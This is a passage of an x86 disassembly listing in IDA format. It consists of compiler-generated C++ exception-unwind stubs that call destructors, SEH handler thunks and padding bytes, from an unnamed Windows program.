		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C556CDh
; ---------------------------------------------------------------------------


loc_439DB8:				; DATA XREF: ___:0040AA32o
		add	bh, byte_440140[eax]
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


